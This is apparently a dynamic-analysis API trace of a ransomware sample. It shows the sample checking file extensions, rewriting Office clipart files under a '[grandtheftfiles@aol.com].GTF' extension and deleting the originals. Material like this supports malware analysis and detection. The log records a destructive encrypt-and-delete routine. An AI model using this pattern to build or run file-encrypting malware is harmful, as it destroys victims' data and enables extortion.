	[0089.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString=".doc") returned 4
	[0089.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString=".docx") returned 5
	[0089.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.641] lstrlenW (lpString=".pdf") returned 4
	[0089.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString=".xls") returned 4
	[0089.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.641] lstrlenW (lpString=".xlsx") returned 5
	[0089.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.641] lstrlenW (lpString=".ppt") returned 4
	[0089.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString=".zip") returned 4
	[0089.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.641] lstrlenW (lpString=".rar") returned 4
	[0089.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString=".bz2") returned 4
	[0089.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString=".7z") returned 3
	[0089.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString=".dbf") returned 4
	[0089.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString=".1cd") returned 4
	[0089.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.641] lstrlenW (lpString=".jpg") returned 4
	[0089.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.642] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.642] lstrlenW (lpString="HM00426_.WMF") returned 12
	[0089.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.642] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=68776) returned 1
	[0089.642] CloseHandle (hObject=0x31c) returned 1
	[0089.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220
	[0089.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.643] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.643] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.643] GetLastError () returned 0x0
	[0089.643] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x10ca8, lpOverlapped=0x0) returned 1
	[0089.647] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x10cb0, lpOverlapped=0x0) returned 1
	[0089.650] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.650] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.650] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.650] CloseHandle (hObject=0x2d0) returned 1
	[0089.650] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.650] SetEndOfFile (hFile=0x31c) returned 1
	[0089.651] CloseHandle (hObject=0x31c) returned 1
	[0089.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1
	[0089.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.652] lstrlenW (lpString=".doc") returned 4
	[0089.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString=".docx") returned 5
	[0089.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.653] lstrlenW (lpString=".pdf") returned 4
	[0089.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString=".xls") returned 4
	[0089.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.653] lstrlenW (lpString=".xlsx") returned 5
	[0089.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.653] lstrlenW (lpString=".ppt") returned 4
	[0089.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString=".zip") returned 4
	[0089.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.653] lstrlenW (lpString=".rar") returned 4
	[0089.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString=".bz2") returned 4
	[0089.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString=".7z") returned 3
	[0089.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString=".dbf") returned 4
	[0089.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString=".1cd") returned 4
	[0089.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString=".jpg") returned 4
	[0089.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.653] lstrlenW (lpString=".doc") returned 4
	[0089.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString=".docx") returned 5
	[0089.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.654] lstrlenW (lpString=".pdf") returned 4
	[0089.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString=".xls") returned 4
	[0089.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.654] lstrlenW (lpString=".xlsx") returned 5
	[0089.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.654] lstrlenW (lpString=".ppt") returned 4
	[0089.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.654] lstrlenW (lpString=".zip") returned 4
	[0089.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.654] lstrlenW (lpString=".rar") returned 4
	[0089.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString=".bz2") returned 4
	[0089.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString=".7z") returned 3
	[0089.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.654] lstrlenW (lpString=".dbf") returned 4
	[0089.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.654] lstrlenW (lpString=".1cd") returned 4
	[0089.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0089.654] lstrlenW (lpString=".jpg") returned 4
	[0089.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.654] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.654] lstrlenW (lpString="IN00046_.WMF") returned 12
	[0089.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.655] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1158) returned 1
	[0089.655] CloseHandle (hObject=0x31c) returned 1
	[0089.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220
	[0089.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.656] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.656] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.656] GetLastError () returned 0x0
	[0089.656] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x486, lpOverlapped=0x0) returned 1
	[0089.658] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x490, lpOverlapped=0x0) returned 1
	[0089.659] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.659] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.660] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.660] CloseHandle (hObject=0x2d0) returned 1
	[0089.660] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.660] SetEndOfFile (hFile=0x31c) returned 1
	[0089.661] CloseHandle (hObject=0x31c) returned 1
	[0089.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1
	[0089.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.661] lstrlenW (lpString=".doc") returned 4
	[0089.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.661] lstrlenW (lpString=".docx") returned 5
	[0089.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.661] lstrlenW (lpString=".pdf") returned 4
	[0089.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.661] lstrlenW (lpString=".xls") returned 4
	[0089.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.661] lstrlenW (lpString=".xlsx") returned 5
	[0089.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.662] lstrlenW (lpString=".ppt") returned 4
	[0089.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString=".zip") returned 4
	[0089.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.662] lstrlenW (lpString=".rar") returned 4
	[0089.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString=".bz2") returned 4
	[0089.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString=".7z") returned 3
	[0089.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString=".dbf") returned 4
	[0089.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString=".1cd") returned 4
	[0089.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString=".jpg") returned 4
	[0089.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.662] lstrlenW (lpString=".doc") returned 4
	[0089.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString=".docx") returned 5
	[0089.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.662] lstrlenW (lpString=".pdf") returned 4
	[0089.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.662] lstrlenW (lpString=".xls") returned 4
	[0089.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.662] lstrlenW (lpString=".xlsx") returned 5
	[0089.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.663] lstrlenW (lpString=".ppt") returned 4
	[0089.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.663] lstrlenW (lpString=".zip") returned 4
	[0089.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.663] lstrlenW (lpString=".rar") returned 4
	[0089.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.663] lstrlenW (lpString=".bz2") returned 4
	[0089.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.663] lstrlenW (lpString=".7z") returned 3
	[0089.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.663] lstrlenW (lpString=".dbf") returned 4
	[0089.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.663] lstrlenW (lpString=".1cd") returned 4
	[0089.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0089.663] lstrlenW (lpString=".jpg") returned 4
	[0089.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.663] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.663] lstrlenW (lpString="IN00118_.WMF") returned 12
	[0089.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.664] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=792) returned 1
	[0089.664] CloseHandle (hObject=0x31c) returned 1
	[0089.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220
	[0089.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.664] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.664] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.665] GetLastError () returned 0x0
	[0089.665] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x318, lpOverlapped=0x0) returned 1
	[0090.028] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x320, lpOverlapped=0x0) returned 1
	[0090.029] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.029] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.029] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.029] CloseHandle (hObject=0x2d0) returned 1
	[0090.030] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.030] SetEndOfFile (hFile=0x31c) returned 1
	[0090.030] CloseHandle (hObject=0x31c) returned 1
	[0090.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1
	[0090.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.031] lstrlenW (lpString=".doc") returned 4
	[0090.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.031] lstrlenW (lpString=".docx") returned 5
	[0090.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.031] lstrlenW (lpString=".pdf") returned 4
	[0090.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.031] lstrlenW (lpString=".xls") returned 4
	[0090.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.031] lstrlenW (lpString=".xlsx") returned 5
	[0090.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.031] lstrlenW (lpString=".ppt") returned 4
	[0090.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString=".zip") returned 4
	[0090.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.032] lstrlenW (lpString=".rar") returned 4
	[0090.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString=".bz2") returned 4
	[0090.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString=".7z") returned 3
	[0090.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString=".dbf") returned 4
	[0090.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString=".1cd") returned 4
	[0090.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
